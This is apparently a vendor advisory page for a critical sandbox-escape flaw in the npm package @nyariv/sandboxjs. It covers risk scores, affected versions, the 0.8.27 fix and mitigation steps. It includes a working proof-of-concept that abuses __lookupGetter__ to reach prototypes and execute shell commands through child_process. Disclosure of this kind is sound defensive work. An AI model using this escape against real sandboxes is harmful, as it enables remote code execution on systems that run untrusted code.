GHSA-9p4w-fq8m-2hp7 is a critical-severity (CVSS 10) Code Injection vulnerability in @nyariv/sandboxjs. A fix is available for @nyariv/sandboxjs — see the affected versions and patch details below.
SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9p4w-fq8m-2hp7.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-9p4w-fq8m-2hp7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@nyariv/sandboxjsnpmDescription
Summary
SandboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.
Details
The Object prototype which contains __lookupGetter__ is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.
PoC
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
let getProto = Object.toString.__lookupGetter__("__proto__")
let m = getProto.call(new Map());
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`
sb.compile(payload)().run();
Impact
Prototype Pollution -> RCE
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nyariv/sandboxjs | all versions | 0.8.27npm install @nyariv/sandboxjs@0.8.27 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @nyariv/sandboxjs to 0.8.27 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9p4w-fq8m-2hp7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-9p4w-fq8m-2hp7 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-9p4w-fq8m-2hp7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9p4w-fq8m-2hp7 in your dependencies?
O3 Security finds GHSA-9p4w-fq8m-2hp7 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.